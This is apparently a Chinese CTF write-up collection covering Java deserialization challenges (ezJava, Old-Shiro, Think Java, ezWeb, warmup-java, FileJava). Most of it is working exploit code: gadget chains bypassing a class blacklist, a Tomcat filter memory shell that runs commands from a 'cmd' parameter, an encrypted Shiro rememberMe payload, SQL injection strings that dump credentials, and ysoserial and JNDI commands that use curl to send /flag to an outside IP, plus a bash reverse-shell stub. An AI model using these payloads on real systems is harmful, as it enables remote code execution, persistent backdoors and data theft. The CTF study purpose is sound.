Java反序列化、代码审计等大赛题目详细手法解析,通过手动调试使用特定条件下反序列化的gadget,对反序列化链子的利用汇总学习,希望对各位师傅Java之路的学习有所帮助
鹏城杯 ezJava
考察:二次反序列化
源码如下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.Ez_Java.controller;
import com.example.Ez_Java.util.Secure;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import org.springframework.core.io.ClassPathResource;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
public IndexController() {
}
@ResponseBody
@RequestMapping({"/index"})
public String index() {
return "草,走,忽略!ጿ ኈ ቼ ዽ ጿ";
}
@ResponseBody
@RequestMapping({"/flag"})
public void flag(HttpServletRequest request, HttpServletResponse response) throws Exception {
ClassPathResource resource = new ClassPathResource("static/video/flag.mp4");
response.setContentType("video/mp4");
response.addHeader("Content-Length", "" + resource.getInputStream().available());
InputStream is = resource.getInputStream();
OutputStream os = response.getOutputStream();
IOUtils.copy(is, os);
}
@ResponseBody
@PostMapping({"/read"})
public String read(@RequestParam(name = "data",required = true) String data) throws IOException, ClassNotFoundException {
byte[] b = Base64.getDecoder().decode(data);
InputStream bis = new ByteArrayInputStream(b);
Secure ois = new Secure(bis);
ois.readObject();
return "沈阳等你噢";
}
}
pom.xml依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.6</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>Ez_Java</artifactId>
<version>1.0-SNAPSHOT</version>
<name>Ez_Java</name>
<description>Ez_Java</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.json/json -->
<dependency>
<groupId>org.json</groupId>
<artifactId>json</artifactId>
<version>20211205</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<configuration>
<excludes>
<exclude>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</exclude>
</excludes>
</configuration>
</plugin>
</plugins>
</build>
</project>
黑名单如下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.Ez_Java.util;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;
public class Secure extends ObjectInputStream {
private final Set<Object> blackList = new HashSet<Object>() {
{
this.add("javax.management.BadAttributeValueExpException");
this.add("org.apache.commons.collections.keyvalue.TiedMapEntry");
this.add("org.apache.commons.collections.functors.ChainedTransformer");
this.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
this.add("org.apache.commons.collections4.functors.ChainedTransformer");
this.add("org.apache.commons.collections4.functors.InstantiateTransformer");
this.add("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
}
};
public Secure(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if (this.blackList.contains(cls.getName())) {
throw new InvalidClassException("Unexpected serialized class", cls.getName());
} else {
return super.resolveClass(cls);
}
}
}
反序列化命令执行点ChainedTransformer或者TemplatesImpl加载字节码都被禁用了,只能使用二次反序列化绕过
方法一
- RMIConnector#connect来二次反序列化
拼上CommonsCollections2的PriorityQueue调用x1.transform(x2),invokerTransformer调用任意方法,就可以调上述方法。
package test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.PriorityQueue;
public class aTest {
public static void main(String[] args) throws Exception {
byte[] expBytes=serialize(getPriorityQueueExp());
String exp=Base64.getEncoder().encodeToString(expBytes);
RMIConnector rmiConnector=new RMIConnector(
new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),
new HashMap<String,Integer>()
);
InvokerTransformer invokerTransformer=new InvokerTransformer("connect",null,null);
//invokerTransformer.transform(rmiConnector)
TransformingComparator comparator=new TransformingComparator(invokerTransformer);
PriorityQueue queue=new PriorityQueue();
//让size=2
queue.add(3);
queue.add(4);
// 反射,强行往queue塞rmiConnector
Class queueClass=queue.getClass();
Field queueField=queueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{rmiConnector,1});
//反射强写comparator
Class clazz=queue.getClass();
Field comparatorField=clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
byte[] b=serialize(queue);
String base=Base64.getEncoder().encodeToString(b);
System.out.println(base);
// read(base);
}
static void myTest() throws Exception {
byte[] expBytes=serialize(getPriorityQueueExp());
// deserialize(expBytes);
String exp=Base64.getEncoder().encodeToString(expBytes);
RMIConnector rmiConnector=new RMIConnector(new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),new HashMap<String,Integer>());
rmiConnector.connect();
}
public static String read(String data) throws IOException, ClassNotFoundException {
byte[] b = Base64.getDecoder().decode(data);
InputStream bis = new ByteArrayInputStream(b);
Secure ois = new Secure(bis);
ois.readObject();
return "沈阳等你噢";
}
public static void deserialize(byte[] bytes) {
try {
ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(ais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] serialize(Object o) {
try {
ByteArrayOutputStream aos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(aos);
oos.writeObject(o);
oos.flush();
oos.close();
return aos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
static PriorityQueue getPriorityQueueExp() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {
ClassPool.getDefault().get(test.InjectTomcat01.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "EvilTemplatesImpl"); setFieldValue(templates,
"_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//制作transformer
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//接下来只需调用transformer.transform(templatesImpl)
// transformer.transform()
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue();
//让size=2
queue.add(3);
queue.add(4);
// 反射,强行往queue塞templatesImpl
Class queueClass=queue.getClass();
Field queueField=queueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templates,1});
//反射强写comparator
Class clazz=queue.getClass();
Field comparatorField=clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
return queue;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws
Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
不出网直接打内存马
package test;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Map;
public class InjectTomcat01 extends AbstractTranslet implements Filter{
private static String filterName = "k";
private static String param = "cmd";
private static String filterUrlPattern = "/*";
static {
try{
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field filterConfigs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
Map map = (Map) filterConfigs.get(standardContext);
if (map.get(filterName) == null && standardContext != null){
Field stateField = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
FilterRegistration.Dynamic filter = servletContext.addFilter(filterName, new InjectTomcat01());
filter.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST),false,new String[]{filterUrlPattern});
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("filterStart");
filterStart.invoke(standardContext,null);
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0 ; i < filterMaps.length ; i++){
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)){
FilterMap filterMap = filterMaps[0];
filterMaps[0] = filterMaps[i];
filterMaps[i] = filterMap;
}
}
stateField.set(standardContext,LifecycleState.STARTED);
}
}catch (Exception e){}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String string = servletRequest.getParameter(param);
if (string != null){
String osName = System.getProperty("os.name");
String[] cmd = osName != null && osName.toLowerCase().contains("win") ? new String[]{"cmd.exe","/c",string} : new String[]{"/bin/bash","-c",string};
Process exec = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
StringBuffer stringBuffer = new StringBuffer();
String lineData;
while ((lineData = bufferedReader.readLine()) != null){
stringBuffer.append(lineData + '\n');
}
servletResponse.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
方法二
CB链的compare处进行SignObject二次反序列化绕过
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import org.apache.xalan.transformer.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.*;
public class ezjava_exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(hashMap,privateKey,signingEngine);
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "object");
setFieldValue(queue, "queue", new Object[]{signedObject, signedObject});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
Base64Encode(barr);
}
private static String Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
return s;
}
}
成功打通!
RealWord CTF Old-Shiro
使用以下 docker-compose 文件搭建
docker文件配置不出网
version: '3.3'
services:
nginx:
image: nginx:1.20.1
ports:
- "0.0.0.0:8888:8888"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
networks:
- internal_network
- out_network
backend:
build:
context: ./backend
dockerfile: Dockerfile
networks:
- internal_network
networks:
internal_network:
internal: true
ipam:
driver: default
out_network:
ipam:
driver: default
首先分析 oldshiro 这个 jar 包,可以看到其设置了最大的 header 长度为 3000
pom.xml如下 java 8环境
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>OldShiroSolution</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
<dependency>
<groupId>com.nqzero</groupId>
<artifactId>permit-reflect</artifactId>
<version>0.3</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm-tree</artifactId>
<version>7.3.1</version>
</dependency>
</dependencies>
</project>
ShiroAttack2 爆破 shiro key 为 kPH+bIxk5D2deZiIxcaaaA==
, remember cookie 为 rememberMe_rwctf_2024
题目环境不出网, 打内存马会超出 header 长度限制, 需要缩小 payload
POC如下
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Exp {
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object, value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("SC");//起一个好听的名字
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");//固定
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
String body = "javax.servlet.http.HttpServletRequest r = ((org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
"java.lang.reflect.Field f = r.getClass().getDeclaredField(\"request\");\n" +
"f.setAccessible(true);\n" +
"org.apache.catalina.connector.Response p =((org.apache.catalina.connector.Request) f.get(r)).getResponse();\n" +
"java.io.Writer w = p.getWriter();\n" +
"w.write(new java.util.Scanner(new java.io.File(\"/flag\")).next());\n" +
"w.flush();";
constructor.setBody("{" + body + "}");
//上面setBody自定义,其他都是固定的
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplatesImpl("c")});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("1");
beanComparator.setProperty("outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl, templatesImpl});
byte[] serialized = serialize(priorityQueue);
CipherService cipherService = new AesCipherService();
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource byteSource = cipherService.encrypt(serialized, key);
byte[] value = byteSource.getBytes();
String enc = Base64.encodeToString(value);
System.out.println(enc.length());
System.out.println(enc);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
}
成功打通!
网鼎杯 Think Java
源码处存在sql注入
//首先会先通过数据库名进行数据库链接,所以这一步不能出错,这导致了常规的sql拼接失败了,因为拼接之后的字符串不可能是它们其中的一个数据库名,所以要采取别的方法
try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}
if (user == null || dbName.equals("")) {
user = "root";
}
if (pass == null || dbName.equals("")) {
pass = "abc@12345";
}
conn = DriverManager.getConnection(dbName, user, pass);
//然后才能进行SQL注入
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);
Swagger
注意看Test.java,导入了swagger这个东西, 访问swagger-ui.html
,会看到有三个路由,分别对应不同的功能,注意看第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入
jdbc sql注入
jdbc连接数据库语句后面可以跟参数
jdbc:mysql://localhost:3306/数据库名?user=用户名&password=密码&useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT
后跟无效参数也不会影响,所以可以
jdbc:mysql://localhost:3306/myapp?a=1' union select 1#
jdbc:mysql://localhost:3306/myapp#' union select 1#
注意 : jdbc类似于url解析,所以会忽略#
后面的字符
而#
又是sql注入中的注释符,如果我们需要在url中传#
,那么需要进行url编码为%23
注入数据库名字
dbName='union+select+gourp_concat(schema_name)+from+information_schema.schemata%23
查表名
dbName=myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
结果
user
查字段名
myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
查询账号密码
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde
登陆进去之后,发现字段Bearer
对序列化字符串分析
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
如果以aced开头,那么他就是这一段Java序列化的16进制。
java Deserialization Scanner插件使用
使用burpsuite的java Deserialization Scanner
插件对其进行分析,在extender中安装这个插件
然后抓包,先将报文发送到插件,然后选中token,再选择base64encode,然后测试出rome反序列化漏洞
我们使用yso构造rome反序列化payload
java -jar ysoserial-all.jar ROME "curl http://47.120.33.255:8999/ -d @/flag" |base64
-
-d @/flag
: 这个选项指定了一个数据块被作为 POST 请求体发送到服务器。这里的@
符号告诉curl
从文件中读取数据。/flag
是文件路径,意味着curl
将会读取这个文件的内容,并将其作为 POST 数据发送给服务器。
然后cv上去打通
红名谷 ezWeb
刚开始测出来一个shiro权限绕过,Accept中需要添加 application/json才可以正常回显
访问如下即可绕过
/;/json
观察回显发现是jackson,直接打jackson反序列化JNDI注入
使用jndi注入工具:JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl http://ip:8999 -d @/flag" -A ip
CVE-2020-36188 完整的POC如下:
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class CVE_2020_36187 {
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]";
Object o = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(o);
}
}
打的时候传入payload如下:
["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://ip:1099/penwsf"}]
DASCTF Apr X FATE 防疫挑战赛 warmup-java
审计源码发现反序列化点
@Controller
/* loaded from: IndexController.class */
public class IndexController {
@RequestMapping({"/warmup"})
public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
new ObjectInputStream(new ByteArrayInputStream(Utils.hexStringToBytes(data))).readObject();
return "index";
}
}
自己实现了一个InvocationHandler类
public class MyInvocationHandler implements InvocationHandler, Serializable {
private Class type;
@Override // java.lang.reflect.InvocationHandler
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
for (Method xmethod : this.type.getDeclaredMethods()) {
xmethod.invoke(args[0], new Object[0]);
}
return null;
}
}
查看pom.xml并没什么依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.6</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>warmup</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>warmup</name>
<description>warmup</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
查看一下lib包
那我们直接打Jackson原生反序列化 EventListenerList链子
package EXP;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;
import java.util.Vector;
public class exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor cons = new CtConstructor(new CtClass[]{}, ctClass);
cons.setBody("Runtime.getRuntime().exec(\"bash -c {echo,}|{base64,-d}|{bash,-i}\");");
ctClass.addConstructor(cons);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
POJONode pojoNode = new POJONode(proxy);
//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(list);
System.out.println(bytesTohexString(byteArrayOutputStream.toByteArray()));
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
}
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
ret.append("0123456789abcdef".charAt(15 & (bytes[i] >> 4)));
ret.append("0123456789abcdef".charAt(15 & bytes[i]));
}
return ret.toString();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
网鼎杯青龙组 FileJava
看到有filename,猜测可能存在目录穿越以及任意文件下载
filename=../
